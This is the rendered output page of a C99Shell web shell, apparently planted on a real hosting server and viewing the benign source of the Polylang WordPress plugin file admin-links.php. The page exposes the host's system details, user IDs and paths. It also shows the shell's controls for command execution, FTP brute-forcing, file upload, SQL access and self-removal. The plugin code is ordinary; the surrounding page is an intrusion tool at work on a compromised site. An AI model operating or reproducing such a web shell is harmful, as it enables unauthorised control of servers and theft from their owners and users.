!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/polylang/admin/   drwxr-xr-x
Free 179.6 GB of 490.84 GB (36.59%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     admin-links.php (5.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * manages links related functions
 *
 * @since 1.8
 */
class PLL_Admin_Links extends PLL_Links {

    
/**
     * get the link to create a new post translation
     *
     * @since 1.5
     *
     * @param int    $post_id  the source post id
     * @param object $language the language of the new translation
     * @return string
     */
    
public function get_new_post_translation_link$post_id$language ) {
        
$post_type get_post_type$post_id );
        
$post_type_object get_post_type_objectget_post_type$post_id ) );
        if ( ! 
current_user_can$post_type_object->cap->create_posts ) ) {
            return 
'';
        }

        if ( 
'attachment' == $post_type ) {
            
$args = array(
                
'action'     => 'translate_media',
                
'from_media' => $post_id,
                
'new_lang'   => $language->slug,
            );

            
// add nonce for media as we will directly publish a new attachment from a clic on this link
            
$link wp_nonce_urladd_query_arg$argsadmin_url'admin.php' ) ), 'translate_media' );
        } else {
            
$args = array(
                
'post_type' => $post_type,
                
'from_post' => $post_id,
                
'new_lang'  => $language->slug,
            );

            
$link add_query_arg$argsadmin_url'post-new.php' ) );
        }

        
/**
         * Filter the new post translation link
         *
         * @since 1.8
         *
         * @param string $link     the new post translation link
         * @param object $language the language of the new translation
         * @param int    $post_id  the source post id
         */
        
return apply_filters'pll_get_new_post_translation_link'$link$language$post_id );
    }

    
/**
     * returns html markup for a new post translation link
     *
     * @since 1.8
     *
     * @param int    $post_id
     * @param object $language
     * @return string
     */
    
public function new_post_translation_link$post_id$language ) {
        
$link $this->get_new_post_translation_link$post_id$language );
        return 
$link sprintf(
            
'<a href="%1$s" class="pll_icon_add"><span class="screen-reader-text">%2$s</span></a>',
            
esc_url$link ),
            
/* translators: accessibility text, %s is a native language name */
            
esc_htmlsprintf__'Add a translation in %s''polylang' ), $language->name ) )
        ) : 
'';
    }

    
/**
     * returns html markup for a translation link
     *
     * @since 1.4
     *
     * @param int $post_id translation post id
     * @return string
     */
    
public function edit_post_translation_link$post_id ) {
        
$link get_edit_post_link$post_id );
        
$language $this->model->post->get_language$post_id );
        return 
$link sprintf(
            
'<a href="%1$s" class="pll_icon_edit"><span class="screen-reader-text">%2$s</span></a>',
            
esc_url$link ),
            
/* translators: accessibility text, %s is a native language name */
            
esc_htmlsprintf__'Edit the translation in %s''polylang' ), $language->name ) )
        ) : 
'';
    }

    
/**
     * get the link to create a new term translation
     *
     * @since 1.5
     *
     * @param int    $term_id
     * @param string $taxonomy
     * @param string $post_type
     * @param object $language
     * @return string
     */
    
public function get_new_term_translation_link$term_id$taxonomy$post_type$language ) {
        
$tax get_taxonomy$taxonomy );
        if ( ! 
$tax || ! current_user_can$tax->cap->edit_terms ) ) {
            return 
'';
        }

        
$args = array(
            
'taxonomy'  => $taxonomy,
            
'post_type' => $post_type,
            
'from_tag'  => $term_id,
            
'new_lang'  => $language->slug,
        );

        
$link add_query_arg$argsadmin_url'edit-tags.php' ) );

        
/**
         * Filter the new term translation link
         *
         * @since 1.8
         *
         * @param string $link      the new term translation link
         * @param object $language  the language of the new translation
         * @param int    $term_id   the source term id
         * @param string $taxonomy
         * @param string $post_type
         */
        
return apply_filters'pll_get_new_term_translation_link'$link$language$term_id$taxonomy$post_type );
    }

    
/**
     * returns html markup for a new term translation
     *
     * @since 1.8
     *
     * @param int $term_id
     * @param string $taxonomy
     * @param string $post_type
     * @param object $language
     * @return string
     */
    
public function new_term_translation_link$term_id$taxonomy$post_type$language ) {
        
$link $this->get_new_term_translation_link$term_id$taxonomy$post_type$language );
        return 
$link sprintf(
            
'<a href="%1$s" class="pll_icon_add"><span class="screen-reader-text">%2$s</span></a>',
            
esc_url$link ),
            
/* translators: accessibility text, %s is a native language name */
            
esc_htmlsprintf__'Add a translation in %s''polylang' ), $language->name ) )
        ) : 
'';
    }

    
/**
     * returns html markup for a term translation link
     *
     * @since 1.4
     *
     * @param object $term_id   translation term id
     * @param string $taxonomy
     * @param string $post_type
     * @return string
     */
    
public function edit_term_translation_link$term_id$taxonomy$post_type ) {
        
$link get_edit_term_link$term_id$taxonomy$post_type );
        
$language $this->model->term->get_language$term_id );
        return 
$link sprintf(
            
'<a href="%1$s" class="pll_icon_edit"><span class="screen-reader-text">%2$s</span></a>',
            
esc_url$link ),
            
/* translators: accessibility text, %s is a native language name */
            
esc_htmlsprintf__'Edit the translation in %s''polylang' ), $language->name ) )
        ) : 
'';
    }
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0093 ]--